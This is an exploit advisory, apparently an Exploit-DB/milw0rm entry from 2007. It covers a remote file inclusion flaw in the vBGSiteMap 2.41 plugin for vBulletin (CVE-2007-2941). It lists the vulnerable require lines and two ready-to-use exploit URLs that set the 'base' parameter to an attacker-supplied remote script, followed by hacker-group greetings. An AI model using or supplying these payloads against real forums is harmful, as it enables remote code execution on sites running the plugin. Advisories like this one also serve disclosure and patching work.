Exploit vBulletin vBGSiteMap 2.41 - 'root' Remote File Inclusion

[Exploiter]

EDB-ID

3990

Проверка EDB

1. Пройдено

Автор

COLD ZERO

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-2941

Дата публикации

2007-05-25

=============================================

vBulletin Google Site Map Creator (base) Remote File Include Vulnerability

=============================================
Found by : Host4vb.com & Cold z3ro
Contact : [email protected] , [email protected]
Homepage : Host4vb.com , Hack-Teach.Org
=============================================
Script : http://forum.time2dine.co.nz/seo-vbulletin/vbulletin-google-site-map-3976.html
=============================================
File :
/vbgsitemap-vbseo.php  <=  Line 5
require $base."includes/functions_vbseo.php";
=============================================
File :
/vbgsitemap-config.php <= Line 139
require $base."includes/config.php";
=============================================
Exploit :
vBulletin_Forum_Bath/vbgsitemap/vbgsitemap-config.php?base=Evil-Script?
vBulletin_Forum_Bath/vbgsitemap/vbgsitemap-vbseo.php?base=Evil-Script?
==============================================
Greets To : Xp10.com , Hack-Teach Members , All Arabs Hosting , Sniper-sa.com , sm4host.com
Thanx: Mohandko , Alkomandoz Hacker , Mogatil , The Viper , The Wolf Ksa , Dr.Exe , Pro Hackers
Thanx: Green eyas amor , Titanichacker , hacaaar , Hack Back , Mohammad Sallah , Unix Hacker
       RoMaNcYxHaCkEr , mR wEsAm X , Mr.E-vil
Thanx: Team Hell Members (ConviCt & jEdDaWi & Black Shell & Hackers Cool & Dr.killer & Red Hat)

# milw0rm.com [2007-05-25]